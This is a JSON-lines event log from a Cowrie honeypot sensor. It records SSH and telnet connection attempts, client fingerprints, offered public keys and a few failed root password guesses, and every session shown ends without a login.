{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:06:ca:55:02:7e:fb:eb:2a:50:a4:ae:b0:5d:0c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHRC94HYK0Xc25BFO/81kBf0lVcWOKwhFSWlMv1vt1HsVB5zku47PV0oEpZ53f/8NTWfswxH+lvGXjW810ofuA+x1AKp4cg6fioQq+se8MZLpeaAodjF2Mn9mlhyf3JQpwO9gSF1GLX1icKDel7hsUTjxNp5zHWx+2PY3efkttErxpA2j5cdckPulR2d9wQbG8q5qv/OV2mZARyFk6BLqQHfbgouIhhKfJijecxWpUr0HD5Irla99qQgTctyU5wMwMBsCk9iPdKGGAWYKMxWSsClCPmsa3USM/EKl4Em0KYgF0L0EaypYunxkrpja6xBuY00iMGQlaxIlnTenK4xi/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:06:ca:55:02:7e:fb:eb:2a:50:a4:ae:b0:5d:0c:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.251295Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:06:ca:55:02:7e:fb:eb:2a:50:a4:ae:b0:5d:0c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHRC94HYK0Xc25BFO/81kBf0lVcWOKwhFSWlMv1vt1HsVB5zku47PV0oEpZ53f/8NTWfswxH+lvGXjW810ofuA+x1AKp4cg6fioQq+se8MZLpeaAodjF2Mn9mlhyf3JQpwO9gSF1GLX1icKDel7hsUTjxNp5zHWx+2PY3efkttErxpA2j5cdckPulR2d9wQbG8q5qv/OV2mZARyFk6BLqQHfbgouIhhKfJijecxWpUr0HD5Irla99qQgTctyU5wMwMBsCk9iPdKGGAWYKMxWSsClCPmsa3USM/EKl4Em0KYgF0L0EaypYunxkrpja6xBuY00iMGQlaxIlnTenK4xi/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.256694Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE/+K9JxjpGNLordSm1sNTzaWPUW6UHK+Q9RdJHPBNDn0RE3dcZUEK28QpD63LS+F70HDAMb9lQH5oAMB0Dtedu/oKI9iDQgjh45H3HscwmfxVXHBAdyhvS8gwvBVj5K1bF+tszjBB+Ah5w6vRhtzO6WGQFpm6SzVNbr3idAXSLzgmfQrL9kBxwiFm8ic6uZEQRWSYmOShk+nL2ThUal30KcHBr/5U62MpPBjQhEENDgrmKsddJze+W3dheIuu0H0XJ6LrQuEj3sya1cHZSi6txEobi/YH4pnP3z7OrRvAbNTotkvnv6PgjS0PkcYG7sj4+SYD49mulgizU9OoaYd5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.296565Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE/+K9JxjpGNLordSm1sNTzaWPUW6UHK+Q9RdJHPBNDn0RE3dcZUEK28QpD63LS+F70HDAMb9lQH5oAMB0Dtedu/oKI9iDQgjh45H3HscwmfxVXHBAdyhvS8gwvBVj5K1bF+tszjBB+Ah5w6vRhtzO6WGQFpm6SzVNbr3idAXSLzgmfQrL9kBxwiFm8ic6uZEQRWSYmOShk+nL2ThUal30KcHBr/5U62MpPBjQhEENDgrmKsddJze+W3dheIuu0H0XJ6LrQuEj3sya1cHZSi6txEobi/YH4pnP3z7OrRvAbNTotkvnv6PgjS0PkcYG7sj4+SYD49mulgizU9OoaYd5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.299288Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:df:05:0f:b9:62:67:d7:87:73:fe:b0:61:bd:24:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDm+hZRrniEMs4R8yBHcS+6WNZWENW9mSeP+TpnV3uUM0Iw6a4wCw8JYJBJZ5JD1/eTEFkVcojq5TJ+Ov/iic6tOmpoD2X5lnRftLdzMtMYjIXY4A1VG1lV2wSJzgGz026DXpcPZVYriAj4Cf5nrVjRnPgCOwLr15weA4JTb5PiOwYLKbPu4aLPTEiQ9ziUTHs+9O2sywXvPnkNBQXb7kKRdeQC3N8LANYT/7ldIBCIsOUDPcejmJ8X5EWMPgqEF7NNFyv2QXr5GE9n/eP+DvafmqaHjClRUEgW7N47KB/jlWH1bRLUep3ZWaXJ6de++lvjFqx8fy99KWT0Qz0eJOzSOXE1Q8K0NTiXL8Ukql4Omw08EKk8XGVkDJ55MlWWGpYv9b3u3IA5pTyK10oe3xe3uKyXOfPae5JGZTvP6SJUJXaBFi98wE2K36T2wwkqOtQ2CNFUrfw1Qas+iUlV4vpSDeerSKVBBAQ772ehrf02iY5B6wH2TUGMeYUMynL944qcHwNYuQXu+IYOtoY79V8QQN07xg+VjYWU2wYPg0hWnutQkpFA1cFUa0AzFms7hcJGc/y7nJjLO3YhXKOFTTeQETxu3MSuAcGj2Uf41R+NLrjbGhi2t0PaBYfdXRn9paRWyt/2iuPf1cWlDEeD5IRBs9UoHcpQz029UFCrUidDhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:df:05:0f:b9:62:67:d7:87:73:fe:b0:61:bd:24:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.338416Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:df:05:0f:b9:62:67:d7:87:73:fe:b0:61:bd:24:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDm+hZRrniEMs4R8yBHcS+6WNZWENW9mSeP+TpnV3uUM0Iw6a4wCw8JYJBJZ5JD1/eTEFkVcojq5TJ+Ov/iic6tOmpoD2X5lnRftLdzMtMYjIXY4A1VG1lV2wSJzgGz026DXpcPZVYriAj4Cf5nrVjRnPgCOwLr15weA4JTb5PiOwYLKbPu4aLPTEiQ9ziUTHs+9O2sywXvPnkNBQXb7kKRdeQC3N8LANYT/7ldIBCIsOUDPcejmJ8X5EWMPgqEF7NNFyv2QXr5GE9n/eP+DvafmqaHjClRUEgW7N47KB/jlWH1bRLUep3ZWaXJ6de++lvjFqx8fy99KWT0Qz0eJOzSOXE1Q8K0NTiXL8Ukql4Omw08EKk8XGVkDJ55MlWWGpYv9b3u3IA5pTyK10oe3xe3uKyXOfPae5JGZTvP6SJUJXaBFi98wE2K36T2wwkqOtQ2CNFUrfw1Qas+iUlV4vpSDeerSKVBBAQ772ehrf02iY5B6wH2TUGMeYUMynL944qcHwNYuQXu+IYOtoY79V8QQN07xg+VjYWU2wYPg0hWnutQkpFA1cFUa0AzFms7hcJGc/y7nJjLO3YhXKOFTTeQETxu3MSuAcGj2Uf41R+NLrjbGhi2t0PaBYfdXRn9paRWyt/2iuPf1cWlDEeD5IRBs9UoHcpQz029UFCrUidDhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.341780Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:af:58:16:2b:a7:f8:67:1d:19:b3:99:00:ad:3e:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJAYviAby3tI6EdpeDbuqBfQP5fIPFV4losuIZereZwrviW3e6DKVqbldxAsyifRhBAOXcsSZXYa1nMUXyQ87chStvz48BpSdr4VPG8NYMz0f4jTASwuKYMNOadM3EL2ZpB54jCTXqtnTay9zL4d/SWLw1U9DclgNcL8mEq5NFm1AAAAFQDs46cLZAm1S2JZd3Pp79xT/z/7dQAAAIBTPXeTj9VEXOzkc/S59d/gtqDH7O1MTUi7FDyKKp7N00IsnSDXgFut/KZOASmu+Y6k4+lsFLKXnxzTRp+xq52DGphLZrm8YqISx+RmEwR28oNDaegqb/E4WmyCSnvPXpqW8SeP0EsQ08+NUL2w5cT6wWv/Sw1cA5Fep4erJIat+wAAAIBTr1K93Hzmlk2IlA9+f7KFAXdipMXHRjry031fKPmN2PFZ8kd+1HO06BV0BYOyx6CUZ2DsJ3+at0cKw+zCdMOM5tcjcziVMQz0K0YEiZwRYvk+xOj8YqU95bs2tB/zel7Nxp6vNtBoABTjmZtBBZK8RykzicNO8LwiREKPPN7plw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2b:af:58:16:2b:a7:f8:67:1d:19:b3:99:00:ad:3e:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.384553Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:af:58:16:2b:a7:f8:67:1d:19:b3:99:00:ad:3e:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJAYviAby3tI6EdpeDbuqBfQP5fIPFV4losuIZereZwrviW3e6DKVqbldxAsyifRhBAOXcsSZXYa1nMUXyQ87chStvz48BpSdr4VPG8NYMz0f4jTASwuKYMNOadM3EL2ZpB54jCTXqtnTay9zL4d/SWLw1U9DclgNcL8mEq5NFm1AAAAFQDs46cLZAm1S2JZd3Pp79xT/z/7dQAAAIBTPXeTj9VEXOzkc/S59d/gtqDH7O1MTUi7FDyKKp7N00IsnSDXgFut/KZOASmu+Y6k4+lsFLKXnxzTRp+xq52DGphLZrm8YqISx+RmEwR28oNDaegqb/E4WmyCSnvPXpqW8SeP0EsQ08+NUL2w5cT6wWv/Sw1cA5Fep4erJIat+wAAAIBTr1K93Hzmlk2IlA9+f7KFAXdipMXHRjry031fKPmN2PFZ8kd+1HO06BV0BYOyx6CUZ2DsJ3+at0cKw+zCdMOM5tcjcziVMQz0K0YEiZwRYvk+xOj8YqU95bs2tB/zel7Nxp6vNtBoABTjmZtBBZK8RykzicNO8LwiREKPPN7plw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.388245Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:f2:df:81:37:6e:38:41:64:87:e4:fd:3f:75:3e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx13Jmc8XV3hXMmO3ahK+8ihyd/w/71OfrKeb+33odFTPt9o1QwDQiubg5yrdYqFie1+7eGJkwBKHi/JiVYM1QxdQwXpWTsMd1zvOEVsS4F4eQJRPm1R1R6sa9fIwfrafhnQ4cZ4TKlm8142LiHHoHgDrhiBzlJAqmI7gTrA/DyWuxd2hafhKb4XAOHmHdmIPgyxEcN4ajwdaXQORPW37rnR34WnJu+Ao0wiIJ6wdpQBZdjK5xbiYQA71N84BkeqYMURmaPSkg51u/s1O7ZybKR4JQXClE7mWkdUPGXQZZIV2JUt7vk22T1o93yIjmImdEnRK3bJ6T4NpC+9PseGXAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:f2:df:81:37:6e:38:41:64:87:e4:fd:3f:75:3e:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.429951Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:f2:df:81:37:6e:38:41:64:87:e4:fd:3f:75:3e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx13Jmc8XV3hXMmO3ahK+8ihyd/w/71OfrKeb+33odFTPt9o1QwDQiubg5yrdYqFie1+7eGJkwBKHi/JiVYM1QxdQwXpWTsMd1zvOEVsS4F4eQJRPm1R1R6sa9fIwfrafhnQ4cZ4TKlm8142LiHHoHgDrhiBzlJAqmI7gTrA/DyWuxd2hafhKb4XAOHmHdmIPgyxEcN4ajwdaXQORPW37rnR34WnJu+Ao0wiIJ6wdpQBZdjK5xbiYQA71N84BkeqYMURmaPSkg51u/s1O7ZybKR4JQXClE7mWkdUPGXQZZIV2JUt7vk22T1o93yIjmImdEnRK3bJ6T4NpC+9PseGXAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.433384Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.472746Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59680,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c25b553a643","protocol":"telnet","message":"New connection: 172.81.62.90:59680 (159.203.135.109:23) [session: 2c25b553a643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:19.670413Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":17016,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d5094da03eb","protocol":"ssh","message":"New connection: 38.93.206.2:17016 (10.17.0.5:22) [session: 0d5094da03eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:23.094653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:23.099322Z","src_ip":"38.93.206.2","session":"0d5094da03eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:23.150410Z","src_ip":"38.93.206.2","session":"0d5094da03eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19071994","message":"login attempt [root/19071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:23.303052Z","src_ip":"38.93.206.2","session":"0d5094da03eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:24.355546Z","src_ip":"38.93.206.2","session":"0d5094da03eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.643080711364746,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:28.700033Z","src_ip":"128.199.8.54","session":"69d2868672f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38522,"dst_ip":"159.203.135.109","dst_port":23,"session":"001af92deb67","protocol":"telnet","message":"New connection: 172.81.62.90:38522 (159.203.135.109:23) [session: 001af92deb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:41.171454Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38536,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89eb4ce09dd","protocol":"telnet","message":"New connection: 172.81.62.90:38536 (159.203.135.109:23) [session: c89eb4ce09dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:44.223774Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38552,"dst_ip":"159.203.135.109","dst_port":23,"session":"b245cccd5cf1","protocol":"telnet","message":"New connection: 172.81.62.90:38552 (159.203.135.109:23) [session: b245cccd5cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:54.494941Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"8496f71ebf4e","protocol":"telnet","message":"New connection: 172.81.62.90:45260 (159.203.135.109:23) [session: 8496f71ebf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:56.542335Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56d5ebe719d","protocol":"telnet","message":"New connection: 94.23.66.112:52120 (10.17.0.5:23) [session: a56d5ebe719d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:57.959587Z"}
{"eventid":"cowrie.session.closed","duration":38.893357276916504,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:58.563653Z","src_ip":"172.81.62.90","session":"2c25b553a643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50904,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec3416dfb61","protocol":"ssh","message":"New connection: 27.71.230.31:50904 (159.203.135.109:22) [session: 2ec3416dfb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:03.621726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:03.643094Z","src_ip":"27.71.230.31","session":"2ec3416dfb61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:03.865793Z","src_ip":"27.71.230.31","session":"2ec3416dfb61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36756,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc05934afc9","protocol":"telnet","message":"New connection: 128.199.8.54:36756 (159.203.135.109:23) [session: 7cc05934afc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:04.488467Z"}
{"eventid":"cowrie.session.closed","duration":11.939782857894897,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:09.899263Z","src_ip":"94.23.66.112","session":"a56d5ebe719d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:12.971756Z","src_ip":"27.71.230.31","session":"2ec3416dfb61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:14.287880Z","src_ip":"27.71.230.31","session":"2ec3416dfb61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.04496622085571,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:25.216278Z","src_ip":"172.81.62.90","session":"001af92deb67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50288,"dst_ip":"10.17.0.5","dst_port":22,"session":"934120d20521","protocol":"ssh","message":"New connection: 103.77.242.62:50288 (10.17.0.5:22) [session: 934120d20521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:30.013714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:30.018970Z","src_ip":"103.77.242.62","session":"934120d20521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:30.274519Z","src_ip":"103.77.242.62","session":"934120d20521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03021993","message":"login attempt [root/03021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:30.985228Z","src_ip":"103.77.242.62","session":"934120d20521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:32.224323Z","src_ip":"103.77.242.62","session":"934120d20521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.93305325508118,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:33.475278Z","src_ip":"172.81.62.90","session":"8496f71ebf4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12674617767334,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:40:33.621437Z","src_ip":"172.81.62.90","session":"b245cccd5cf1","protocol":"telnet"}
